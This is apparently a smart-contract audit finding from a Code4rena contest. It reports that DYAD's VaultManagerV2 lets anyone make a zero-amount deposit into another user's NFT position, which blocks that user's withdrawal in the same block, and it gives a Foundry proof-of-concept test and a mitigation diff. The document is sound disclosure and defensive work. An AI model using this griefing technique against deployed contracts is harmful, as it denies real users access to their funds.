DYAD - 0xloscar01's results

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/VaultManagerV2.sol#L143

Vulnerability details

Impact

To prevent flash loan attacks, the VaultManagerV2::deposit function stores the block number of the transaction in the idToBlockOfLastDeposit mapping and the VaultManagerV2::withdraw function reverts if the last deposit was made in the same block.

https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/VaultManagerV2.sol#L119-L131

function deposit(
    uint    id,
    address vault,
    uint    amount
  ) 
    external 
      isValidDNft(id)
  {
@>    idToBlockOfLastDeposit[id] = block.number;
    Vault _vault = Vault(vault);
    _vault.asset().safeTransferFrom(msg.sender, address(vault), amount);
    _vault.deposit(id, amount);
  }

https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/VaultManagerV2.sol#L134-L153

  function withdraw(
    uint    id,
    address vault,
    uint    amount,
    address to
  ) 
    public
      isDNftOwner(id)
  {
@>    if (idToBlockOfLastDeposit[id] == block.number) revert DepositedInSameBlock();
    uint dyadMinted = dyad.mintedDyad(address(this), id);
    Vault _vault = Vault(vault);
    uint value = amount * _vault.assetPrice() 
                  * 1e18 
                  / 10**_vault.oracle().decimals() 
                  / 10**_vault.asset().decimals();
    if (getNonKeroseneValue(id) - value < dyadMinted) revert NotEnoughExoCollat();
    _vault.withdraw(id, to, amount);
    if (collatRatio(id) < MIN_COLLATERIZATION_RATIO)  revert CrTooLow(); 
  }

This allows a malicious user to hinder others from withdrawing collateral or redeeming DYAD tokens by calling deposit with a 0 amount in the same block as the victim. The attacker can frontrun the victim's transaction and save gas by passing a smart contract address of his own as the vault parameter, as there is no validation for the vault parameter in the deposit function.

Proof of Concept

  function testWithdrawGriefing() public {
    Licenser licenser = Licenser(contracts.vaultManager.vaultLicenser());
    vm.prank(MAINNET_OWNER);
    licenser.add(address(contracts.ethVault));

    uint nftId = contracts.vaultManager.dNft().mintNft{value: 1 ether}(victim);
    vm.deal(victim, 10 ether);

    vm.roll(1);

    vm.startPrank(victim); 
    contracts.vaultManager.add(nftId, address(contracts.ethVault)); // Victim adds the vault
    (bool success,) = MAINNET_WETH.call{value: 10 ether}(abi.encodeWithSignature("deposit()")); // The victim gets 10 WETH
    (success,) = MAINNET_WETH.call(abi.encodeWithSignature("approve(address,uint256)", address(contracts.vaultManager), 10 ether)); //Approve the vault manager to spend the WETH

    contracts.vaultManager.deposit(nftId, address(contracts.ethVault), 10 ether); // The victim deposits 10 WETH into the vault
    vm.stopPrank();

    vm.roll(2); // The attacker deposits 0 WETH into the vault in a different block

    vm.prank(attacker);
    contracts.vaultManager.deposit(nftId, address(contracts.ethVault), 0);

    vm.prank(victim);
    vm.expectRevert(DepositedInSameBlock.selector);
    contracts.vaultManager.withdraw(nftId, address(contracts.ethVault), 1 ether, victim); // The victim can't withdraw because the attacker deposited 0 WETH in the same block
  }

Steps to reproduce the test:

1. Import the following code into the v2.t.sol test file:

import {DNft} from "../../src/core/DNft.sol";

2. Add the following code to v2.t.sol::V2Test:

  DNft dNft;

  error DepositedInSameBlock();

  address victim = makeAddr("victim");
  address attacker = makeAddr("attacker");

3. Add the provided test case to v2.t.sol::V2Test

Tools Used

Manual review

Recommended Mitigation Steps

Consider allowing deposits from the NFT owner only:

  function deposit(
    uint    id,
    address vault,
    uint    amount
  ) 
    external 
-      isValidDNft(id)
+      isDNftOwner(id)
  {
    idToBlockOfLastDeposit[id] = block.number;
    Vault _vault = Vault(vault);
    _vault.asset().safeTransferFrom(msg.sender, address(vault), amount);
    _vault.deposit(id, amount);
  }

Alternatively, implement a whitelist managed by the NFT owner, and only allow deposits from NFT owners designated addresses.

Assessed type

DoS